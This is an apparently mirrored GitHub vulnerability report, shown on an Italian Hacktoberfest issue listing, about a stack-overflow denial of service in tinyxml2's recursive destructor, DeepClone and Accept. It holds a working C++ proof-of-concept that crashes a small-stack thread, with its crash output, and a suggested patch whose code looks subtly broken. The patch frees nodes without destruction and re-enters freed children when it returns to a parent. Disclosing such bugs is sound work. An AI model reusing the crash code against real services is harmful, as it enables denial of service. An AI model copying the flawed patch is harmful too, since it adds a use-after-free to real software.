Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

Stack Overflow via Unbounded Recursion in XMLNode Destructor

Aperta
#1,083 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Questa issue non è ancora stata valutata.

Descrizione

Summary

Field Value
Affected Software tinyxml2
Affected Version 11.0.0 (and all prior versions)
Vulnerability Type Uncontrolled Recursion (CWE-674), Stack Exhaustion (CWE-770)
Severity Medium (CVSS 3.1: 5.5 — AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)
File tinyxml2.cpp, functions ~XMLNode() (line 807), DeepClone() (line 871), Accept() (line 2149)
Impact Denial of service via process crash (SIGSEGV/SIGBUS)
Discovered By Fasheng Miao, Zhaoyu Hu

Description

The XMLNode destructor, DeepClone(), and Accept() (used by XMLPrinter, SaveFile, and Print) all use unbounded recursion to traverse the document tree. While XMLNode::ParseDeep() correctly limits parsing depth to TINYXML2_MAX_ELEMENT_DEPTH (default 500), the destructor and other tree-walking operations have no such depth limit.

When a deeply nested tree is destroyed, cloned, or printed, the recursive calls exhaust the call stack, causing a crash. This is directly triggerable by:

  1. Programmatic API usage: Applications that build document trees via InsertEndChild() loops can create trees of arbitrary depth, bypassing the parse-time limit.
  2. Threaded environments: Applications using tinyxml2 in threads with small stacks (common in embedded/IoT systems, thread pools, etc.) can crash even with parse-limited depth of 500.

Root Cause

In tinyxml2.cpp, line 807:

XMLNode::~XMLNode()
{
    XMLNode *currentChild = _firstChild;
    while (currentChild != NULL) {
        XMLNode *next = currentChild->_next;
        currentChild->_parent = 0;
        DeleteNode(currentChild);   // <-- calls ~XMLNode() recursively
        currentChild = next;
    }
}

DeleteNode(currentChild) calls currentChild->~XMLNode(), which recurses into the child's destructor. For a linear chain of depth N, this creates N stack frames.

The same unbounded recursion exists in:

  • DeepClone() (line 871): child->DeepClone(target) recurses
  • Accept() (line 2149/2154): node->Accept(visitor) recurses — this is the code path used by XMLPrinter, SaveFile(), and Print()

Proof-of-Concept

PoC Code
#include <cstdio>
#include <pthread.h>
#include "tinyxml2.h"
using namespace tinyxml2;

static void* thread_func(void* arg) {
    XMLDocument* doc = new XMLDocument();
    XMLElement* parent = doc->NewElement("root");
    doc->InsertEndChild(parent);
    for (int i = 0; i < 100000; i++) {
        XMLElement* child = doc->NewElement("a");
        parent->InsertEndChild(child);
        parent = child;
    }
    delete doc;  // stack overflow here
    return NULL;
}

int main() {
    pthread_t tid;
    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr, 512 * 1024);  // 512KB stack
    pthread_create(&tid, &attr, thread_func, NULL);
    pthread_join(tid, NULL);
    return 0;
}
PoC Output
=== tinyxml2 Stack Overflow via Deep Nesting ===
tinyxml2 version: 11.0.0

Spawning thread with 512KB stack, depth=100000
Expected: SIGSEGV (stack overflow) during document deletion

Thread started (stack ~512KB), building tree depth=100000...
Tree built. Deleting (recursive destructor)...
Exit code: 138

Exit code 138 = killed by signal 10 (SIGBUS on macOS), confirming stack overflow during the recursive destructor call.

Impact

  1. Denial of Service: Any application that programmatically builds deep XML trees and then destroys them will crash. This is common in XML document transformation, template expansion, and serialization workflows.

  2. Threaded Applications: Applications using tinyxml2 in threads with default or small stack sizes (e.g., 512KB–1MB, common in thread pools) are vulnerable even with moderate tree depths.

  3. Print/Save Crash: Since Accept() is used by XMLPrinter, calling doc.Print() or doc.SaveFile() on a deep tree will also crash via the same unbounded recursion.

Suggested Fix

Convert the recursive destructor to an iterative algorithm:

--- a/tinyxml2.cpp
+++ b/tinyxml2.cpp
@@ -807,12 +807,22 @@
 XMLNode::~XMLNode()
 {
-    XMLNode *currentChild = _firstChild;
-    while (currentChild != NULL) {
-        XMLNode *next = currentChild->_next;
-        currentChild->_parent = 0;
-        DeleteNode(currentChild);
-        currentChild = next;
+    // Iterative destruction to avoid stack overflow on deep trees.
+    // Flatten the tree into a deletion list by unlinking children.
+    XMLNode* node = _firstChild;
+    while (node != NULL) {
+        // Descend to the deepest first-child
+        while (node->_firstChild) {
+            node = node->_firstChild;
+        }
+        // Delete this leaf and move to sibling or parent
+        XMLNode* next = node->_next;
+        XMLNode* parent = node->_parent;
+        node->_firstChild = NULL;  // already empty
+        node->_parent = 0;
+        MemPool* pool = node->_memPool;
+        // Direct destroy without recursion since no children
+        pool->Free(node);
+        node = next ? next : parent;
     }
 }

Alternatively, apply the same TINYXML2_MAX_ELEMENT_DEPTH limit to DeepClone() and Accept().

Environment

  • OS: macOS (Darwin 25.3.0, arm64)
  • Compiler: Apple clang 21.0.0
  • tinyxml2 version: 11.0.0, built from source
  • Thread stack size: 512KB (pthread_attr_setstacksize)

Credit

This vulnerability was discovered by Fasheng Miao and Zhaoyu Hu.

Lingua principale
C++
Stelle
5.8k
Fork
2k
Metriche di merge delle PR
Nessuna PR unita negli ultimi 30g

Preparare l'ambiente

Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di leethomason/tinyxml2

Tutte le issue di leethomason/tinyxml2

Issue simili

Altre issue su C++

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.